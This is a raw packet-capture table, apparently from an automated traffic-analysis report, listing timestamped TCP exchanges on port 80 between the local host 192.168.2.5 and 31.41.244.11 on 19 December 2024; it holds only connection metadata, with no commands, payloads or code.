Dec 19, 2024 03:09:33.782664061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.783356905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.783416033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.783648968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.783709049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.784552097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.784600019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.784749031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.784805059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.785936117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.786084890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.786087036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.786137104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.787137985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.787187099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.787309885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.787386894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.788036108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.788088083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.788094997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.788146019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.788703918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.788764000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.788806915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.788995981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.789702892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.789763927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.789849997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.789921999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.790879965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.790941954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.790970087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.791047096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.791881084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.791932106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.791971922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.792021990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.792607069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.792665958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.792674065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.792721987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.793138027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.793304920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.793314934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.793361902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.793962002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.794025898 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.794059038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.794154882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.794985056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.795038939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.795170069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.795329094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.796066999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.796123981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.796175957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.796323061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.797066927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.797117949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.797182083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.797240019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.798065901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.798125982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.798206091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.798260927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.798851967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.798933983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.798988104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.799062014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.799834013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.799892902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.799990892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.800086975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.800738096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.800806046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.800812006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.800967932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.801553965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.801615000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.801665068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.801717043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.802653074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.802714109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.802756071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.802809000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.803905964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.803962946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.804020882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.804089069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.805036068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.805125952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.805131912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.805191994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.806201935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.806262016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.806318998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.806473017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.807260990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.807290077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.807352066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.807352066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.808029890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.808083057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.808099031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.808166027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.808789015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.808841944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.948293924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.948355913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.948391914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.948446989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.948720932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.948823929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.948853016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.948892117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.949568033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.949619055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.949713945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.949764967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.950773001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.950829983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.950870991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.950937986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.951693058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.951745987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.951809883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.951860905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.952851057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.952970982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.952981949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.953031063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.953865051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.953921080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.953954935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.954006910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.954807043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.954898119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.954962969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.955497026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.955559015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.955580950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.955638885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.956468105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.956517935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.956571102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.956625938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.957457066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.957513094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.957585096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.957690001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.958458900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.958513021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.958535910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.958586931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.959342003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.959393978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.959467888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.959526062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.960233927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.960306883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.960341930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.960392952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.961000919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.961057901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.961097956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.961154938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.962053061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.962177038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.962182999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.962235928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.963021040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.963073015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.963114977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.963165045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.964082003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.964142084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.964189053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.964235067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.964972973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.965027094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.965033054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.965085030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.965754986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.965886116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.965895891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.965945959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.966573000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.966629028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.966686964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.966761112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.967602015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.967665911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.967683077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.967731953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.968588114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.968646049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.968698978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.968751907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.969640017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.969696045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.969772100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.969821930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.970596075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.970649004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.970700979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.970809937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.971587896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.971642971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.971693039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.971750021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.972564936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.972619057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.972712040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.972784996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.973560095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.973614931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.973695993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.973793030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.974550962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.974667072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.974714994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.975563049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.975615978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.975686073 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.975878000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.976576090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.976629972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.976695061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.976748943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.977593899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.977670908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.977711916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.977771044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.978547096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.978601933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.978676081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.978732109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.979599953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.979657888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.979739904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.979794025 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.980541945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.980595112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.980698109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.980751038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.981559992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.981621027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.981668949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.981719017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.982561111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.982614994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.982660055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.982708931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.983717918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.983865023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.983901024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.983952999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.984863997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.984915972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.984972954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.985100031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.985905886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.985966921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.985991001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.986047029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.986674070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.986726999 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.986783981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.986860037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.987570047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.987616062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.987823963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.987878084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.988564014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.988617897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.988672972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.988723040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.989670038 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.989726067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.989850044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.989912033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.990865946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.990928888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.990987062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.991039038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.991799116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.991853952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.991919041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.991971016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.992887020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.992938995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.993017912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.993067980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.993987083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.994041920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.994122982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.994174004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.994852066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.994904995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.994961023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.995062113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.995842934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.995893002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.995978117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.996026993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.996857882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.996911049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.996961117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.997114897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.997838974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.997868061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.997886896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.997915030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.998718977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.998790026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.998918056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.998986959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.999825954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.999875069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.147816896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.147865057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.147902012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.147938013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.147944927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.147991896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.148011923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.148128033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.148338079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.148353100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.148410082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.150224924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.150285959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.150333881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.150393963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152324915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.152359009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.152384043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152395010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.152415037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152442932 CET	80	49885	31.41.244.11	192.168.2.5
